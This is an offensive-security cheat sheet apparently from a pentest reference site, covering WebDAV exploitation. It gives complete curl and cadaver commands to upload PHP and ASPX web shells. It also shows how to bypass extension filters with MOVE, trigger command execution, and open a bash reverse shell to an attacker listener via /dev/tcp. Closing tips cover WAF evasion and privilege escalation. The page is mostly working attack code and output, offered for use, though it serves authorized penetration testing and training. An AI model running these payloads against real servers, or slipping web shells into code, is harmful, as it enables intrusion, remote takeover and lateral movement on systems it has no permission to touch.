Skip to content
HackIndex.io

WebDAV Exploitation

5 min read Created Mar 28, 2026 Last updated Mar 28, 2026

WebDAV exploitation uses the PUT method to upload a web shell to the server, or the MOVE method to rename an uploaded non-executable file to an executable extension. Confirm upload capability and executable extension handling through WebDAV enumeration before uploading shells.

  • Direct PHP upload PUTs a web shell with a .php extension and triggers it via HTTP request.
  • MOVE extension bypass uploads as .txt, then renames to .php when PUT blocks executable extensions.
  • ASPX shell for IIS targets Windows servers where PHP is not installed.
  • cadaver interactive client provides a shell-like session for manual upload and directory browsing.

A 201 Created response confirms the PUT succeeded. A 403 means write permission is denied or credentials are required. A 405 means the method is disabled on that endpoint. Some deployments allow anonymous writes but restrict execution to specific directories. Identify the executable paths during enumeration before choosing where to drop the shell.

Direct PHP Web Shell Upload

Upload a PHP web shell directly if the server accepts .php files via PUT. A 201 response confirms the file landed on disk. Then trigger execution by requesting the file with a cmd parameter. The uid output confirms code execution under the web server process. If PUT returns 201 but the shell returns blank output or a download prompt, the directory is writable but not set to execute scripts. Move the shell to the webroot or a known executable path and retry. A 403 on the shell request after a successful PUT usually means the directory has execute restrictions.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/shell.php -d '<?php system($_GET["cmd"]); ?>'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

MOVE Extension Bypass

When PUT blocks executable extensions but allows non-executable files, upload as .txt and MOVE to .php or .asp. The server validates the extension at upload time but not at rename time. This bypass works when the WebDAV handler and the script execution handler are separate components. It fails on servers that enforce extension checks at the filesystem level on MOVE operations. If MOVE returns a 403, the server explicitly restricts renaming to executable extensions. Try .phtml, .php5, or .shtml as alternative targets. IIS may accept .aspx via MOVE even when PUT blocks it directly. Verify the renamed file exists with a HEAD or PROPFIND request before triggering execution.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/shell.txt -d '<?php system($_GET["cmd"]); ?>'
┌──(kali㉿kali)-[~]
└─$ curl -sk -X MOVE http://$TARGET_IP:$PORT/shell.txt -H 'Destination: http://$TARGET_IP:$PORT/shell.php'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id" 
uid=33(www-data) gid=33(www-data)

ASPX Shell for IIS WebDAV

On IIS targets, upload an ASPX shell instead of PHP. IIS does not execute PHP by default without additional handler modules installed. The iis apppool\defaultapppool identity in the output means the shell runs as the application pool account. This account has restricted local privileges but can access network resources as the machine account, which matters for lateral movement. If the ASPX shell returns a 500 error, ASP.NET may be disabled on that virtual directory or the application pool may be running in classic mode. Try a classic .asp shell as a fallback. Classic ASP is sometimes enabled independently from ASP.NET. A blank response with a 200 status usually means the file uploaded as static content rather than executing.

<%@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd():""); %>
┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/shell.aspx --data-binary @shell.aspx
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.aspx?cmd=whoami" 
iis apppool\defaultapppool

cadaver for Interactive Upload

cadaver provides an interactive session for WebDAV operations: useful when curl returns ambiguous errors or when server-side redirects break the PUT request. The progress bar in the output confirms the file wrote successfully. Use ls inside the session to list directory contents and verify the upload path before triggering execution. Use get to pull files from the server, which is useful during post-exploitation. If the server requires credentials, pass them in the URL: http://user:password@$TARGET_IP:$PORT/. cadaver will prompt interactively if you connect without credentials and the server returns a 401.

┌──(kali㉿kali)-[~]
└─$ cadaver http://$TARGET_IP:$PORT/ 
dav:/> put shell.php
Uploading shell.php to '/shell.php':
Progress: [=============================>] 100.0% of 31 bytes succeeded.

Reverse Shell Delivery

Start the listener before triggering the shell command. URL-encode the entire bash payload to prevent the query string from breaking on special characters. The bash -i flag provides an interactive shell with full stdin and stderr over the TCP connection. If bash is not available on the target, substitute sh or use python3 -c with a socket-based shell. Windows targets do not have bash. For Windows WebDAV targets, upload a PowerShell reverse shell script separately and trigger it through the web shell with a cmd=powershell call.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

WebDAV exploitation fails when a WAF or mod_security inspects the PUT body and blocks PHP open tags. Try obfuscating the payload or using a non-PHP language if the server supports multiple interpreters. Some servers allow writes but serve all uploaded files as static content regardless of extension. Confirm actual code execution by running a simple id or whoami command before relying on the shell for further access. If the shell executes but the process account has no useful access, check for SUID binaries, writable cron directories, or service configurations that can be modified as www-data.

References